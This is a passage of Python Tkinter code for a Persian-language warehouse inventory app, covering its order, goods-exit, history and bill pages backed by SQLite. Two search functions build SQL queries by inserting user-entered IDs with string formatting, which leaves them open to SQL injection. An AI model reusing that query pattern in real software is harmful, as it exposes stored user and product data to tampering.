self.b_order_order=Button(self.navFrm_order,image=self.sabtSefareshBtnImg,bg='#777777',bd=0,cursor='hand2',state='disabled')\n self.b_exitKala_order=Button(self.navFrm_order,image=self.exitKalaBtnMenuImg,bg='#777777',bd=0,cursor='hand2',command=self.order_to_exit)\n self.b_history_order=Button(self.navFrm_order,image=self.historyBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.order_to_history)\n self.b_issuance_order=Button(self.navFrm_order,image=self.issuanceImg,bg='#777777',bd=0,cursor='hand2',command=self.order_to_bill)\n self.b_exit_order=Button(self.navFrm_order,image=self.exitImg,bg='#777777',bd=0,cursor='hand2')\n \n self.dateFrm_order.place(x=0,y=0)\n self.date_label_order.place(x=15,y=4)\n self.time_label_order.place(x=190,y=4)\n self.b_openNav_order.place(x=1340,y=20)\n self.navFrm_order.place(x=1400,y=0)\n self.closeFrm_order.place(x=0,y=0)\n self.b_closeNav_order.place(x=15,y=15)\n self.b_mainPage_order.place(x=0,y=50)\n self.b_addKala_order.place(x=0,y=115)\n self.b_addUser_order.place(x=0,y=180)\n self.b_WrStock_order.place(x=0,y=245)\n self.b_Receipt_order.place(x=0,y=310)\n self.b_request_order.place(x=0,y=375)\n self.b_order_order.place(x=0,y=440)\n self.b_exitKala_order.place(x=0,y=505)\n self.b_history_order.place(x=0,y=570)\n self.b_issuance_order.place(x=0,y=635)\n self.b_exit_order.place(x=0,y=700)\n self.l_headerOrderPage.place(x=580,y=0)\n self.attention_idUser.place(x=1040,y=90)\n self.e_idUser_order.place(x=835,y=95)\n self.b_searchUserBtnOrder.place(x=670,y=88)\n self.b_searchBtnOrder.place(x=50,y=85)\n self.e_idKala_order.place(x=215,y=90)\n self.order_frm_num.place(x=845,y=275)\n self.l_orderNum.place(x=420,y=15)\n self.e_orderNum.place(x=210,y=15)\n self.l_date_order.place(x=420,y=60)\n self.date_order.place(x=210,y=60)\n self.b_sabtOrder.place(x=20,y=30)\n self.userInfo_order_frm.place(x=845,y=150)\n self.l_nameUser_order.place(x=450,y=10)\n self.nameUserLbl_order.place(x=260,y=10)\n self.l_lastUser_order.place(x=200,y=10)\n self.lastUserLbl_order.place(x=10,y=10)\n self.l_userId_order.place(x=405,y=70)\n self.userIdLbl_order.place(x=300,y=70)\n self.l_nationalCode_order.place(x=220,y=70)\n self.nationalCodeLbl_order.place(x=5,y=70)\n self.kalaInfo_order_frm.place(x=50,y=150)\n self.l_kalaId_order.place(x=690,y=10)\n self.kalaIdLbl_order.place(x=510,y=10)\n self.l_nameKala_order.place(x=400,y=10)\n self.nameKalaLbl_order.place(x=220,y=10)\n self.l_kalaType_order.place(x=690,y=90)\n self.kalaTypeLbl_order.place(x=510,y=90)\n self.l_groupKala_order.place(x=400,y=90)\n self.groupKalaLbl_order.place(x=220,y=90)\n self.l_kalaNum_order.place(x=690,y=170)\n self.kalaNumLbl_order.place(x=510,y=170)\n self.l_purcase_order.place(x=400,y=170)\n self.purcaseLbl_order.place(x=220,y=170)\n self.l_imgSelector_order.place(x=95,y=175)\n self.imgSelectorBg_order.place(x=50,y=25)\n self.listOrder.place(x=60,y=420)\n\n #________bind___________\n self.listOrder.bind('',self.select_record_order)\n self.e_idKala_order.bind('',lambda event :self.e_idKala_order.delete(0,END))\n self.tickBtnOrder.bind('',self.ready_to_delivery)\n\n def update_time_order(self):\n now = datetime.now()\n self.current_time = now.strftime(\"%H:%M:%S\")\n self.current_date = now.strftime(\"%Y/%m/%d\")\n self.time_label_order.config(text=f\"{self.current_time}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.date_label_order.config(text=f\"{self.current_date}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.dateFrm_order.after(1000, self.update_time_order)\n\n def switch_order_nav(self):\n if self.btnState is True:\n self.navFrm_order.place(x=1400, y=0)\n self.btnState = False\n else:\n self.navFrm_order.place(x=1180, y=0)\n self.btnState = True\n\n def order_to_main(self):\n self.navFrm.place(x=1180, y=0)\n main_page .state('normal') \n order_page.state('withdraw')\n self.btnState = False\n\n def order_to_kala(self):\n self.navFrm_product.place(x=1180, y=0)\n self.data_to_list_kala()\n product_page.state('normal')\n order_page.state('withdraw')\n self.btnState = False\n\n def order_to_stock(self):\n self.navFrm_stock.place(x=1180, y=0)\n self.data_to_list_stock()\n stock_page.state('normal')\n order_page.state('withdraw')\n self.btnState = False\n\n def order_to_history(self):\n self.navFrm_history.place(x=1180, y=0)\n self.data_to_list_history()\n history_page.state('normal')\n order_page.state('withdraw')\n self.btnState = False\n\n def order_to_bill(self):\n self.navFrm_bill.place(x=1180, y=0)\n sodorbill_page .state('normal')\n order_page.state('withdraw')\n self.btnState = True\n\n def order_to_receipt(self):\n self.navFrm_receipt.place(x=1180, y=0)\n receipt_page.state('normal')\n order_page.state('withdraw')\n self.btnState = False\n\n def order_to_request(self):\n self.navFrm_request.place(x=1180, y=0)\n self.data_to_list_request()\n request_page.state('normal')\n order_page.state('withdraw')\n self.btnState = False\n\n def order_to_user(self):\n self.navFrm_user.place(x=1180, y=0)\n self.data_to_list_user()\n user_page.state('normal')\n order_page.state('withdraw')\n self.btnState = False\n\n def order_to_exit(self):\n self.navFrm_exit.place(x=1180, y=0)\n self.data_to_list_exit()\n exit_page.state('normal')\n order_page.state('withdraw')\n self.btnState = False\n\n def search_idKala_order(self,event=None):\n self.idKala_order=self.e_idKala_order.get()\n if self.permission==True:\n if self.idKala_order !='':\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.cur.execute(\"SELECT photo FROM kala WHERE id = '{}'\".format(self.idKala_order))\n image_data = self.cur.fetchone()[0]\n procuct_img = Image.open(io.BytesIO(image_data))\n procuct_image = procuct_img.resize((150, 150))\n self.product_photo = ImageTk.PhotoImage(procuct_image)\n self.imgSelectorBg_order['image']=self.product_photo\n\n self.row=self.cur.execute('SELECT * FROM kala WHERE id=\"{}\"'.format(self.idKala_order))\n self.iInfo_order_list = list(self.row)\n self.kalaIdLbl_order['text']=self.iInfo_order_list[0][0]\n self.nameKalaLbl_order['text']=self.iInfo_order_list[0][1]\n self.kalaTypeLbl_order['text']=self.iInfo_order_list[0][2]\n self.groupKalaLbl_order['text']=self.iInfo_order_list[0][3]\n self.kalaNumLbl_order['text']=self.iInfo_order_list[0][7]\n self.purcaseLbl_order['text']=self.iInfo_order_list[0][4]\n \n def search_idUser_order(self,event=None):\n try:\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.nationalId=self.e_idUser_order.get()\n self.count=0\n if self.nationalId != '':\n self.row=self.cur.execute('SELECT * FROM user WHERE national_code=\"{}\"'.format(self.nationalId))\n self.userInfo_order=list(self.row)\n if self.userInfo_order[0][6]=='کارمند':\n self.permission=True\n self.nameUserLbl_order['text']=self.userInfo_order[0][1]\n self.lastUserLbl_order['text']=self.userInfo_order[0][2]\n self.userIdLbl_order['text']=self.userInfo_order[0][0]\n self.nationalCodeLbl_order['text']=self.userInfo_order[0][3]\n self.fullname_order=self.userInfo_order[0][1]+' '+self.userInfo_order[0][2]\n self.con.close()\n\n else:\n messagebox.showinfo(\"information\",\"کاربر با این کد ملی قادر به ثبت ورود کالا نیست\")\n except :\n messagebox.showinfo(\"information\",\"کاربری با این کد ملی وجود ندارد\")\n\n def addOrder(self):\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.numKalaOrder = self.e_orderNum.get()\n self.randomId=str(uuid.uuid4())\n self.randomId=self.randomId[:8]\n self.orderDate=self.date_order.get()\n if self.numKalaOrder != '':\n self.fullNameUser = self.userInfo_order[0][1]+' '+self.userInfo_order[0][2]\n self.data=(self.iInfo_order_list[0][0],self.iInfo_order_list[0][1],self.fullNameUser,self.numKalaOrder,self.iInfo_order_list[0][7],\n self.iInfo_order_list[0][4],'سفارش داده شد',self.orderDate,self.randomId)\n self.cur.execute('''CREATE TABLE IF NOT EXISTS orders (idKala TEXT NOT NULL ,nameKala TEXT NOT NULL ,nameUser TEXT NOT NULL\n ,numOrder NOT NULL,stock,purchase TEXT NOT NULL,condition TEXT,date INTEGER NOT NULL,orderId)''')\n self.cur.execute('INSERT INTO orders(idKala,nameKala,nameUser,numOrder,stock,purchase,condition,date,orderId) VALUES(?,?,?,?,?,?,?,?,?)',self.data)\n self.con.commit()\n self.numlist=len(self.listOrder.get_children())\n self.listOrder.insert(parent='',index='end',text='',values=(self.orderDate,self.iInfo_order_list[0][7],self.numKalaOrder,\n self.randomId,self.fullNameUser,self.iInfo_order_list[0][1],self.iInfo_order_list[0][0],self.numlist+1))\n self.e_orderNum.delete(0,END)\n self.e_idUser_order.delete(0,END)\n self.e_idKala_order.delete(0,END)\n self.nameUserLbl_order['text']=''\n self.lastUserLbl_order['text']=''\n self.userIdLbl_order['text']=''\n self.nationalCodeLbl_order['text']=''\n self.fullname_order=''\n self.kalaIdLbl_order['text']=''\n self.nameKalaLbl_order['text']=''\n self.kalaTypeLbl_order['text']=''\n self.groupKalaLbl_order['text']=''\n self.kalaNumLbl_order['text']=''\n self.purcaseLbl_order['text']=''\n self.permission=False\n self.e_idUser_order.focus()\n self.tickBtnOrder.place(x=-50,y=-50)\n self.imgSelectorBg_order['image']=self.order_imgSelectorPic\n\n def data_to_list_order(self):\n self.lst=[]\n for item in self.listOrder.get_children():\n self.listOrder.delete(item)\n self.count=0\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n self.cur.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='orders'\")\n self.result = self.cur.fetchone()\n if self.result != None:\n row=self.cur.execute('SELECT * FROM orders')\n self.list_order=list(row)\n for i in self.list_order :\n if i[6] == 'سفارش داده شد':\n self.lst.append(i)\n for i in self.lst:\n self.numlist_order=len(self.listOrder.get_children())\n self.listOrder.insert(parent='',index='end',text='',\n values=(i[7],i[4],i[3],i[8],i[2],i[1],i[0],self.count+1))\n self.count +=1\n \n def select_record_order(self ,event=None):\n self.selected = self.listOrder.focus()\n self.values_order_list = self.listOrder.item(self.selected , \"values\")\n self.row_id_order =self.listOrder.identify_row(event.y)\n start = self.listOrder.bbox(self.row_id_order, column=None)\n self.y1=start[1]+420\n self.tickBtnOrder.place(x=20,y=self.y1)\n\n def ready_to_delivery(self,event=None):\n self.con=sql.connect('mydb.db')\n self.cur=self.con.cursor()\n orderIdCheck=self.values_order_list[3]\n self.cur.execute(''' UPDATE orders SET condition = ? WHERE orderId= ? ''',(\"آماده تحویل\",orderIdCheck))\n self.con.commit()\n self.data_to_list_order()\n self.tickBtnOrder.place(x=-50,y=-50)\n\n#_____________________________________________________________________________________________________________________________________________\n#______________________________________________________________ exit kala page _______________________________________________________________\n def exit_kala_page(self):\n \n exit_page.title('نرم افزار انبارداری')\n exit_page.resizable(False,False)\n exit_page.iconbitmap('image/warehouseIco.ico')\n exit_page.configure (bg='#F6F5F5')\n exit_page.geometry('1400x800+250+100')\n\n self.h_sabtExitKalaImg = PhotoImage(file='image/sabtExitKala.png')\n self.exitKalaImg = PhotoImage(file='image/sabtExitBtn.png')\n\n self.dateFrm_exit=Label(exit_page,image=self.bgDateImg, height=45,width=320,bd=0,bg='white')\n self.time_label_exit = Label(self.dateFrm_exit)\n self.date_label_exit = Label(self.dateFrm_exit)\n self.h_exitPage = Label(exit_page,image=self.h_sabtExitKalaImg)\n #list\n self.listExit= ttk.Treeview(exit_page,show='headings',height=15)\n self.listExit['columns']=('date','stock','orderNum','orderId','userName','NameKala','id','row')\n self.b_exit_kala = Button(exit_page,bg='#F6F5F5',image=self.exitKalaImg,activebackground='#F6F5F5',bd=0,cursor='hand2',command=self.sabt_exit_kala)\n #columns\n self.listExit.column('date',width=140,anchor=CENTER)\n self.listExit.column('stock',width=140,anchor=CENTER)\n self.listExit.column('orderId',width=210,anchor=E)\n self.listExit.column('orderNum',width=130,anchor=CENTER)\n self.listExit.column('userName',width=230,anchor=E)\n self.listExit.column('NameKala',width=185,anchor=E)\n self.listExit.column('id',width=130,anchor=CENTER)\n self.listExit.column('row',width=130,anchor=CENTER)\n #heading\n self.listExit.heading('date',text=' : تاریخ',anchor=E)\n self.listExit.heading('stock',text=' : موجودی',anchor=E)\n self.listExit.heading('orderId',text=' : کد سفارش',anchor=E)\n self.listExit.heading('orderNum',text=' : تعداد سفارش',anchor=E)\n self.listExit.heading('userName',text=' : نام سفارش دهنده',anchor=E)\n self.listExit.heading('NameKala',text=' : نام کالا',anchor=E)\n self.listExit.heading('id',text=' : کد کالا',anchor=E)\n self.listExit.heading('row',text=' : ردیف',anchor=E)\n self.style.theme_use('clam')\n self.style.configure(\"Treeview.Heading\",font=('Lalezar', 16),\n padding=[0, 5, 15, 5],background='#474A56',\n foreground=\"white\",bd=0,relief='raised'\n )\n self.style.map(\"Treeview.Heading\",\n background=[('active','#686A75')])\n self.style.configure(\"Treeview\", highlightthickness=0, \n height=150,\n bd=0, font=('AraFProgram', 16),\n background=\"white\",foreground=\"black\",\n rowheight = 35,fieldbackground=\"white\"\n )\n self.style.map(\"Treeview\",\n background=[('selected', '#7A8BA7')],\n foreground=[('selected', 'white')])\n \n self.b_openNav_exit=Button(exit_page,image=self.openBtnImg,bg='white',activebackground='white',bd=0,command=self.switch_exit_nav,cursor='hand2')\n self.navFrm_exit=Frame(exit_page,height=800,width=220,bg='#777777',bd=0)\n self.closeFrm_exit=LabelFrame(self.navFrm_exit,width=220,bg='#2E2E2E',bd=0,height=50)\n self.b_closeNav_exit=Button(self.closeFrm_exit,image=self.closeBtnImg,bd=0,bg='#2E2E2E',activebackground='#2E2E2E',cursor='hand2',command=self.switch_exit_nav)\n self.b_mainPage_exit=Button(self.navFrm_exit,image=self.homePageBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.exit_to_main)\n self.b_addKala_exit=Button(self.navFrm_exit,image=self.addWareImg,bg='#777777',bd=0,cursor='hand2',command=self.exit_to_kala)\n self.b_addUser_exit=Button(self.navFrm_exit,image=self.addUserImg,bg='#777777',bd=0,cursor='hand2',command=self.exit_to_user)\n self.b_WrStock_exit=Button(self.navFrm_exit,image=self.WrStockImg,bg='#777777',bd=0,cursor='hand2',command=self.exit_to_stock)\n self.b_Receipt_exit=Button(self.navFrm_exit,image=self.ReceiptImg,bg='#777777',bd=0,cursor='hand2',command=self.exit_to_receipt)\n self.b_request_exit=Button(self.navFrm_exit,image=self.requestImg,bg='#777777',bd=0,cursor='hand2',command=self.exit_to_request)\n self.b_order_exit=Button(self.navFrm_exit,image=self.sabtSefareshBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.exit_to_order)\n self.b_exitKala_exit=Button(self.navFrm_exit,image=self.exitKalaBtnMenuImg,bg='#777777',bd=0,cursor='hand2',state='disabled')\n self.b_history_exit=Button(self.navFrm_exit,image=self.historyBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.exit_to_history)\n self.b_issuance_exit=Button(self.navFrm_exit,image=self.issuanceImg,bg='#777777',bd=0,cursor='hand2',command=self.exit_to_bill)\n self.b_exit_exit=Button(self.navFrm_exit,image=self.exitImg,bg='#777777',bd=0,cursor='hand2')\n \n self.dateFrm_exit.place(x=0,y=0)\n self.date_label_exit.place(x=15,y=4)\n self.time_label_exit.place(x=190,y=4)\n self.b_openNav_exit.place(x=1340,y=20)\n self.navFrm_exit.place(x=1400,y=0)\n self.closeFrm_exit.place(x=0,y=0)\n self.b_closeNav_exit.place(x=15,y=15)\n self.b_mainPage_exit.place(x=0,y=50)\n self.b_addKala_exit.place(x=0,y=115)\n self.b_addUser_exit.place(x=0,y=180)\n self.b_WrStock_exit.place(x=0,y=245)\n self.b_Receipt_exit.place(x=0,y=310)\n self.b_request_exit.place(x=0,y=375)\n self.b_order_exit.place(x=0,y=440)\n self.b_exitKala_exit.place(x=0,y=505)\n self.b_history_exit.place(x=0,y=570)\n self.b_issuance_exit.place(x=0,y=635)\n self.b_exit_exit.place(x=0,y=700)\n self.h_exitPage.place(x=590,y=0)\n self.listExit.place(x=60,y=100)\n self.b_exit_kala.place(x=630,y=720)\n\n self.listExit.bind('',self.select_record_exit)\n \n def update_time_exit(self):\n now = datetime.now()\n self.current_time = now.strftime(\"%H:%M:%S\")\n self.current_date = now.strftime(\"%Y/%m/%d\")\n self.time_label_exit.config(text=f\"{self.current_time}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.date_label_exit.config(text=f\"{self.current_date}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.dateFrm_exit.after(1000, self.update_time_exit)\n\n def switch_exit_nav(self):\n if self.btnState is True:\n self.navFrm_exit.place(x=1400, y=0)\n self.btnState = False\n else:\n self.navFrm_exit.place(x=1180, y=0)\n self.btnState = True\n \n def exit_to_main(self):\n self.navFrm.place(x=1180, y=0)\n main_page.state('normal') \n exit_page.state('withdraw')\n self.btnState = True\n\n def exit_to_kala(self):\n self.navFrm_product.place(x=1180, y=0)\n self.data_to_list_kala()\n product_page.state('normal')\n exit_page.state('withdraw')\n self.btnState = True\n \n def exit_to_history(self):\n self.navFrm_history.place(x=1180, y=0)\n self.data_to_list_history()\n history_page.state('normal')\n exit_page.state('withdraw')\n self.btnState = False\n\n def exit_to_bill(self):\n self.navFrm_bill.place(x=1180, y=0)\n sodorbill_page .state('normal')\n exit_page.state('withdraw')\n self.btnState = True\n\n def exit_to_stock(self):\n self.navFrm_stock.place(x=1180, y=0)\n self.data_to_list_stock()\n stock_page.state('normal')\n exit_page.state('withdraw')\n self.btnState = True\n \n def exit_to_receipt(self):\n self.navFrm_receipt.place(x=1180, y=0)\n receipt_page.state('normal')\n exit_page.state('withdraw')\n self.btnState = True\n\n def exit_to_request(self):\n self.navFrm_request.place(x=1180, y=0)\n self.data_to_list_request()\n request_page.state('normal')\n exit_page.state('withdraw')\n self.btnState = True\n\n def exit_to_order(self):\n self.navFrm_order.place(x=1180, y=0)\n self.data_to_list_order()\n order_page.state('normal')\n exit_page.state('withdraw')\n self.btnState = True\n\n def exit_to_user(self):\n self.navFrm_user.place(x=1180, y=0)\n self.data_to_list_user()\n user_page.state('normal')\n exit_page.state('withdraw')\n self.btnState = True\n\n def data_to_list_exit(self):\n self.lst=[]\n for item in self.listExit.get_children():\n self.listExit.delete(item)\n self.count=0\n con=sql.connect('mydb.db')\n cur=con.cursor()\n cur.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='orders'\")\n self.result = cur.fetchone()\n if self.result != None:\n row=cur.execute('SELECT * FROM orders')\n self.list_exit=list(row)\n for i in self.list_exit :\n if i[6] == 'آماده تحویل':\n self.lst.append(i)\n for i in self.lst:\n self.numlist_exit=len(self.listExit.get_children())\n self.listExit.insert(parent='',index='end',text='',\n values=(i[7],i[4],i[3],i[8],i[2],i[1],i[0],self.numlist_exit+1))\n con.close()\n\n def select_record_exit(self ,event=None):\n self.selected_exit = self.listExit.focus()\n self.values_exit_list = self.listExit.item(self.selected_exit , \"values\")\n\n def sabt_exit_kala(self,event=None):\n con=sql.connect('mydb.db')\n cur=con.cursor()\n exitIdCheck=self.values_exit_list[3]\n self.new_stock_exit=int(self.values_exit_list[1])-int(self.values_exit_list[2])\n cur.execute(''' UPDATE orders SET condition = ? WHERE orderId= ? ''',(\"تحویل داده شد\",exitIdCheck)) \n cur.execute(''' UPDATE orders SET stock = ? WHERE orderId= ? ''',(self.new_stock_exit,exitIdCheck))\n cur.execute(''' UPDATE kala SET stock = ? WHERE id= ? ''',(self.new_stock_exit,self.values_exit_list[6]))\n con.commit()\n con.close()\n self.data_to_list_exit()\n \n #________________________________________________________________________________________________________________________________________\n #__________________________________________________________ order history page __________________________________________________________\n\n def order_history_page(self):\n history_page.geometry('1400x800+250+100')\n history_page.configure(bg='white')\n history_page.title('menu')\n\n self.h_orderHistoryImg = PhotoImage(file='image/headerHistory.png')\n\n self.dateFrm_history=Label(history_page,image=self.bgDateImg, height=45,width=320,bd=0,bg='white')\n self.time_label_history = Label(self.dateFrm_history)\n self.date_label_history = Label(self.dateFrm_history)\n self.h_orderHistory = Label(history_page,image=self.h_orderHistoryImg)\n #list\n self.listHistory= ttk.Treeview(history_page,show='headings',height=15)\n self.listHistory['columns']=('date','orderNum','IdSefaresh','userName','NameKala','id','sefareshType','row')\n #columns\n self.listHistory.column('date',width=140,anchor=CENTER)\n self.listHistory.column('IdSefaresh',width=210,anchor=E)\n self.listHistory.column('orderNum',width=130,anchor=CENTER)\n self.listHistory.column('userName',width=200,anchor=E)\n self.listHistory.column('NameKala',width=185,anchor=E)\n self.listHistory.column('id',width=130,anchor=CENTER)\n self.listHistory.column('sefareshType',width=170,anchor=E)\n self.listHistory.column('row',width=130,anchor=CENTER)\n #heading\n self.listHistory.heading('date',text=' : تاریخ',anchor=E)\n self.listHistory.heading('IdSefaresh',text=' : کد سفارش',anchor=E)\n self.listHistory.heading('orderNum',text=' : تعداد سفارش',anchor=E)\n self.listHistory.heading('userName',text=' : نام سفارش دهنده',anchor=E)\n self.listHistory.heading('NameKala',text=' : نام کالا',anchor=E)\n self.listHistory.heading('id',text=' : کد کالا',anchor=E)\n self.listHistory.heading('sefareshType',text=' : نوع سفارش',anchor=E)\n self.listHistory.heading('row',text=' : ردیف',anchor=E)\n self.style.theme_use('clam')\n self.style.configure(\"Treeview.Heading\",font=('Lalezar', 16),\n padding=[0, 5, 15, 5],background='#474A56',\n foreground=\"white\",bd=0,relief='raised'\n )\n self.style.map(\"Treeview.Heading\",\n background=[('active','#686A75')])\n self.style.configure(\"Treeview\", highlightthickness=0, \n height=150,\n bd=0, font=('AraFProgram', 16),\n background=\"white\",foreground=\"black\",\n rowheight = 35,fieldbackground=\"white\"\n )\n self.style.map(\"Treeview\",\n background=[('selected', '#7A8BA7')],\n foreground=[('selected', 'white')])\n \n self.b_openNav_history=Button(history_page,image=self.openBtnImg,bg='white',activebackground='white',bd=0,command=self.switch_history_nav,cursor='hand2')\n self.navFrm_history=Frame(history_page,height=800,width=220,bg='#777777',bd=0)\n self.closeFrm_history=LabelFrame(self.navFrm_history,width=220,bg='#2E2E2E',bd=0,height=50)\n self.b_closeNav_history=Button(self.closeFrm_history,image=self.closeBtnImg,bd=0,bg='#2E2E2E',activebackground='#2E2E2E',cursor='hand2',command=self.switch_history_nav)\n self.b_mainPage_history=Button(self.navFrm_history,image=self.homePageBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.history_to_main)\n self.b_addKala_history=Button(self.navFrm_history,image=self.addWareImg,bg='#777777',bd=0,cursor='hand2',command=self.history_to_kala)\n self.b_addUser_history=Button(self.navFrm_history,image=self.addUserImg,bg='#777777',bd=0,cursor='hand2',command=self.history_to_user)\n self.b_WrStock_history=Button(self.navFrm_history,image=self.WrStockImg,bg='#777777',bd=0,cursor='hand2',command=self.history_to_stock)\n self.b_Receipt_history=Button(self.navFrm_history,image=self.ReceiptImg,bg='#777777',bd=0,cursor='hand2',command=self.history_to_receipt)\n self.b_request_history=Button(self.navFrm_history,image=self.requestImg,bg='#777777',bd=0,cursor='hand2',command=self.history_to_request)\n self.b_order_history=Button(self.navFrm_history,image=self.sabtSefareshBtnImg,bg='#777777',bd=0,cursor='hand2',command=self.history_to_order)\n self.b_exitKala_history=Button(self.navFrm_history,image=self.exitKalaBtnMenuImg,bg='#777777',bd=0,cursor='hand2',command=self.history_to_exit)\n self.b_history_history=Button(self.navFrm_history,image=self.historyBtnImg,bg='#777777',bd=0,cursor='hand2',state='disabled')\n self.b_issuance_history=Button(self.navFrm_history,image=self.issuanceImg,bg='#777777',bd=0,cursor='hand2',command=self.history_to_bill)\n self.b_exit_history=Button(self.navFrm_history,image=self.exitImg,bg='#777777',bd=0,cursor='hand2')\n \n self.b_openNav_history.place(x=1340,y=20)\n self.navFrm_history.place(x=1400,y=0)\n self.closeFrm_history.place(x=0,y=0)\n self.b_closeNav_history.place(x=15,y=15)\n self.b_mainPage_history.place(x=0,y=50)\n self.b_addKala_history.place(x=0,y=115)\n self.b_addUser_history.place(x=0,y=180)\n self.b_WrStock_history.place(x=0,y=245)\n self.b_Receipt_history.place(x=0,y=310)\n self.b_request_history.place(x=0,y=375)\n self.b_order_history.place(x=0,y=440)\n self.b_exitKala_history.place(x=0,y=505)\n self.b_history_history.place(x=0,y=570)\n self.b_issuance_history.place(x=0,y=635)\n self.b_exit_history.place(x=0,y=700)\n self.dateFrm_history.place(x=0,y=0)\n self.date_label_history.place(x=15,y=4)\n self.time_label_history.place(x=190,y=4)\n self.h_orderHistory.place(x=590,y=0)\n self.listHistory.place(x=50,y=150) \n \n def update_time_history(self):\n now = datetime.now()\n self.current_time = now.strftime(\"%H:%M:%S\")\n self.current_date = now.strftime(\"%Y/%m/%d\")\n self.time_label_history.config(text=f\"{self.current_time}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.date_label_history.config(text=f\"{self.current_date}\",font=('AraFProgram',16),bg='#474A56',fg='white')\n self.dateFrm_history.after(1000, self.update_time_history)\n\n def switch_history_nav(self):\n if self.btnState is True:\n self.navFrm_history.place(x=1400, y=0)\n self.btnState = False\n else:\n self.navFrm_history.place(x=1180, y=0)\n self.btnState = True\n \n def history_to_main(self):\n self.navFrm.place(x=1180, y=0)\n main_page.state('normal') \n history_page.state('withdraw')\n self.btnState = True\n\n def history_to_kala(self):\n self.navFrm_product.place(x=1180, y=0)\n self.data_to_list_kala()\n product_page.state('normal')\n history_page.state('withdraw')\n self.btnState = True\n \n def history_to_exit(self):\n self.navFrm_exit.place(x=1180, y=0)\n self.data_to_list_history()\n exit_page.state('normal')\n history_page.state('withdraw')\n self.btnState = False\n\n def history_to_bill(self):\n self.navFrm_bill.place(x=1180, y=0)\n sodorbill_page .state('normal')\n history_page.state('withdraw')\n self.btnState = True\n\n def history_to_stock(self):\n self.navFrm_stock.place(x=1180, y=0)\n self.data_to_list_stock()\n stock_page.state('normal')\n history_page.state('withdraw')\n self.btnState = True\n \n def history_to_receipt(self):\n self.navFrm_receipt.place(x=1180, y=0)\n receipt_page.state('normal')\n history_page.state('withdraw')\n self.btnState = True\n\n def history_to_request(self):\n self.navFrm_request.place(x=1180, y=0)\n self.data_to_list_request()\n request_page.state('normal')\n history_page.state('withdraw')\n self.btnState = True\n\n def history_to_order(self):\n self.navFrm_order.place(x=1180, y=0)\n self.data_to_list_order()\n order_page.state('normal')\n history_page.state('withdraw')\n self.btnState = True\n\n def history_to_user(self):\n self.navFrm_user.place(x=1180, y=0)\n self.data_to_list_user()\n user_page.state('normal')\n history_page.state('withdraw')\n self.btnState = True\n\n def data_to_list_history (self):\n self.lst=[]\n for item in self.listHistory.get_children():\n self.listHistory.delete(item)\n count=0\n con=sql.connect('mydb.db')\n cur=con.cursor()\n cur.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='orders'\")\n self.result = cur.fetchone()\n if self.result != None:\n row=cur.execute('SELECT * FROM orders')\n self.list_history=list(row)\n for i in self.list_history :\n if i[6] == 'وارد انبار شد':\n self.lst.append(i)\n elif i[6] == 'تحویل داده شد':\n self.lst.append(i)\n for i in self.lst:\n if i[6] == 'وارد انبار شد':\n self.numlist_order=len(self.listHistory.get_children())\n self.listHistory.insert(parent='',index='end',text='',\n values=(i[7],i[3],i[8],i[2],i[1],i[0],'ورود',self.count+1))\n self.count +=1\n elif i[6] == 'تحویل داده شد':\n self.numlist_order=len(self.listHistory.get_children())\n self.listHistory.insert(parent='',index='end',text='',\n values=(i[7],i[3],i[8],i[2],i[1],i[0],'خروج',self.count+1))\n self.count +=1\n con.close()\n\n#______________________________________________________________________________________________________________________________________________\n#___________________________________________________________ sodor bill page __________________________________________________________________\n def sodor_bill_kala_page(self):\n \n sodorbill_page.title('نرم افزار انبارداری')\n sodorbill_page.resizable(False,False)\n sodorbill_page.iconbitmap('image/warehouseIco.ico')\n sodorbill_page.configure (bg='#F6F5F5')\n sodorbill_page.geometry('1400x800+250+100')\n \n self.searchBtnImg_kala = PhotoImage(file='image/searchBtnImg.png')\n self.h_billImg = PhotoImage(file='image/headerSodorghabz.png')\n self.billBtnImg = PhotoImage(file='image/sodorGhabzBtn.png')\n\n self.headerBillPage = Label(sodorbill_page,image=self.h_billImg)\n self.l_SearchKala_bill = Label(sodorbill_page,text='کد کالا یا کد سفارش مورد نظر خود را وارد کنید',font=('Lalezar',17),bg='#F2F2F2')\n self.e_SearchKala_bill = Entry(sodorbill_page,font=('AraFProgram', 16),bd=1,justify=RIGHT,width=18,relief='solid')\n self.b_SearchKala_bill = Button(sodorbill_page,bg='#F3F3F3',image=self.searchBtnImg_user,activebackground='#F3F3F3',bd=0,cursor='hand2',command=self.searchIdBill)\n self.b_blii = Button(sodorbill_page,bg='#F3F3F3',image=self.billBtnImg,activebackground='#F3F3F3',bd=0,cursor='hand2',command=self.sodorBill)\n #list\n self.listBill= ttk.Treeview(sodorbill_page,show='headings',height=14)\n self.listBill['columns']=('date','orderNum','IdSefaresh','userName','NameKala','id','sefareshType','row')\n #columns\n self.listBill.column('date',width=140,anchor=CENTER)\n self.listBill.column('IdSefaresh',width=210,anchor=E)\n self.listBill.column('orderNum',width=130,anchor=CENTER)\n self.listBill.column('userName',width=200,anchor=E)\n self.listBill.column('NameKala',width=185,anchor=E)\n self.listBill.column('id',width=130,anchor=CENTER)\n self.listBill.column('sefareshType',width=170,anchor=E)\n self.listBill.column('row',width=130,anchor=CENTER)\n #heading\n self.listBill.heading('date',text=' : تاریخ',anchor=E)\n self.listBill.heading('IdSefaresh',text=' : کد سفارش',anchor=E)\n self.listBill.heading('orderNum',text=' : تعداد سفارش',anchor=E)\n self.listBill.heading('userName',text=' : نام سفارش دهنده',anchor=E)\n self.listBill.heading('NameKala',text=' : نام کالا',anchor=E)\n self.listBill.heading('id',text=' : کد کالا',anchor=E)\n self.listBill.heading('sefareshType',text=' : نوع سفارش',anchor=E)\n self.listBill.heading('row',text=' : 